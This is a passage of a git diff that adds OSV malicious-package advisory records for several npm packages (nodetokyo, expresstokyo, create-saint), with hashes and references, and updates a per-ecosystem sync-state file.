clipboard — including passwords, tokens, and private messages — and whatever appears on screen is transmitted to the author's endpoint without a per-item prompt.\n\n## Source: ghsa-malware (69518d18591c73f70251400ac01cc086a4d424edca612c33ca522767767bad1b)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"nodetokyo","ecosystem":"npm","purl":"pkg:npm/nodetokyo"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.8"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"client/noderzero.py","sha256":"483cdd8305dc2d3e9f3030707787cf8f5adf0c9c4d66ff20199f8844715e0993","tlsh":"cdc2d876a0085859f663dc1f8996b5132e1e3e437a4ca528bcfcb9950fcc32685e1ef1"},{"path":"launcher.js","sha256":"cb532713f8c9e3dcf4001791df872e9457581beb90e4171fe98b196bf2e21f1f","tlsh":"2871217655e15338b962d69ddb4f51232013b013b248e8987daeb3844fce114c0b3bfa"}],"package_integrity":[{"filename":"nodetokyo-1.0.8.tgz","hashes":{"sha1":"ca9ff17c70e93737cbc6ab49e4e9a213592eafea","sha512_sri":"sha512-Zxl2tj31S5xCmGdbUa72+NOWNQBKsd5RlMVRyXsWbhxX6bckFCy42rU94hYYBqqzxKerpOUqSOPCEoJ3GBv+lw=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/nodetokyo/MAL-2026-16388.json"}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/nodetokyo/v/1.0.8"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-gx35-phhv-wc8w"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-020295","import_time":"2026-09-22T18:23:45.103903358Z","modified_time":"2026-09-22T18:06:25Z","sha256":"9ec0e3f7b963353d4d2928e12ca3898cce5100ed3e3537383faa9c7f9a93f203","source":"amazon-inspector","versions":["1.0.8"]},{"id":"GHSA-gx35-phhv-wc8w","import_time":"2026-11-18T21:17:19.535799675Z","modified_time":"2026-11-18T21:02:27Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"69518d18591c73f70251400ac01cc086a4d424edca612c33ca522767767bad1b","source":"ghsa-malware"}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]} \ No newline at end of file diff --git a/data/npm/MAL-2026-20138.json b/data/npm/MAL-2026-20138.json new file mode 100644 index 0000000000..f9b7b92fb0 --- /dev/null +++ b/data/npm/MAL-2026-20138.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-20138","published":"2026-11-18T21:02:26Z","modified":"2026-11-18T21:30:15.248904840Z","aliases":["GHSA-mjg5-fmpm-vgfv"],"summary":"Malicious code in expresstokyo (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ghsa-malware (80aad200edbc4deb1ab47f50b6a3e640ed4c0a4246aaafe6832d67e6137915a9)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"expresstokyo","ecosystem":"npm","purl":"pkg:npm/expresstokyo"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/expresstokyo/MAL-2026-20138.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-mjg5-fmpm-vgfv"}],"database_specific":{"malicious-packages-origins":[{"id":"GHSA-mjg5-fmpm-vgfv","import_time":"2026-11-18T21:17:19.548067016Z","modified_time":"2026-11-18T21:02:27Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"80aad200edbc4deb1ab47f50b6a3e640ed4c0a4246aaafe6832d67e6137915a9","source":"ghsa-malware"}]}} \ No newline at end of file diff --git a/data/npm/MAL-2026-20139.json b/data/npm/MAL-2026-20139.json new file mode 100644 index 0000000000..a6f7cff1f8 --- /dev/null +++ b/data/npm/MAL-2026-20139.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-20139","published":"2026-11-18T22:05:27Z","modified":"2026-11-18T22:30:04.525232127Z","aliases":["GHSA-cqr8-874q-2g4r"],"summary":"Malicious code in create-saint (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ghsa-malware (a511e53f0cd516fdd4f3fa2ae11b1cc668fe75d684b3b823a429633a7634f327)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"create-saint","ecosystem":"npm","purl":"pkg:npm/create-saint"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/create-saint/MAL-2026-20139.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-cqr8-874q-2g4r"}],"database_specific":{"malicious-packages-origins":[{"id":"GHSA-cqr8-874q-2g4r","import_time":"2026-11-18T22:17:33.783667542Z","modified_time":"2026-11-18T22:05:32Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"a511e53f0cd516fdd4f3fa2ae11b1cc668fe75d684b3b823a429633a7634f327","source":"ghsa-malware"}]}} \ No newline at end of file diff --git a/state/sync.json b/state/sync.json index 68aa916f01..ed203ce5b8 100644 --- a/state/sync.json +++ b/state/sync.json @@ -7,10 +7,10 @@ "records": 64 }, "Go": { - "etag": "\"95effa630303f0973ac94bb7198b083c\"", - "last_modified": "Wed, 18 Nov 2026 17:18:10 GMT", - "last_success": "2026-11-18T18:44:46.644908+00:00", - "records": 9959 + "etag": "\"6f1d32a2937a2271c19580c40eeae2ba\"", + "last_modified": "Wed, 18 Nov 2026 22:03:14 GMT", + "last_success": "2026-11-19T00:43:55.580396+00:00", + "records": 9962 }, "Maven": { "etag": "\"9d980110871cc9efcbe2ff137f39ee0e\"", @@ -31,34 +31,34 @@ "records": 4303 }, "Packagist": { - "etag": "\"da977dd6bc66075d0d7106192d327b41\"", - "last_modified": "Wed, 18 Nov 2026 18:03:31 GMT", - "last_success": "2026-11-18T18:44:56.385443+00:00", - "records": 7462 + "etag": "\"15b5eddf6e570d114ecdc84f1e99614b\"", + "last_modified": "Wed, 18 Nov 2026 21:18:06 GMT", + "last_success": "2026-11-19T00:44:04.027818+00:00", + "records": 7463 }, "PyPI": { - "etag": "\"a98086a018bbce5f42657e06bab340e2\"", - "last_modified": "Wed, 18 Nov 2026 14:33:15 GMT", - "last_success": "2026-11-18T18:42:08.380002+00:00", - "records": 26993 + "etag": "\"93601a0b571d498b04bafcd37a0be548\"", + "last_modified": "Thu, 19 Nov 2026 00:33:06 GMT", + "last_success": "2026-11-19T00:41:36.998914+00:00", + "records": 26998 }, "RubyGems": { - "etag": "\"2ea75be9c3db672357b0eefe9408d830\"", - "last_modified": "Wed, 18 Nov 2026 16:48:02 GMT", - "last_success": "2026-11-18T18:45:00.900557+00:00", - "records": 5536 + "etag": "\"666f5da60142acfa5ef5810ac29839e9\"", + "last_modified": "Wed, 18 Nov 2026 20:48:09 GMT", + "last_success": "2026-11-19T00:44:07.268145+00:00", + "records": 5537 }, "crates.io": { - "etag": "\"e0b6285ff655cfa19462aedd87df39e6\"", - "last_modified": "Wed, 18 Nov 2026 16:48:02 GMT", - "last_success": "2026-11-18T18:44:51.652339+00:00", - "records": 3173 + "etag": "\"33aace32d919c2226fba2e4b38231940\"", + "last_modified": "Wed, 18 Nov 2026 21:18:06 GMT", + "last_success": "2026-11-19T00:43:58.684852+00:00", + "records": 3177 }, "npm": { - "etag": "\"809d9e91cc2b169047e744b3c0bf3b37\"", - "last_modified": "Wed, 18 Nov 2026 18:33:29 GMT", - "last_success": "2026-11-18T18:44:38.793071+00:00", - "records": 232659 + "etag": "\"f0a95cabdff2d4ea4aab70efcce9351f\"", + "last_modified": "Thu, 19 Nov 2026 00:18:04 GMT", + "last_success": "2026-11-19T00:43:48.474505+00:00", + "records": 232663 } }, "version": 1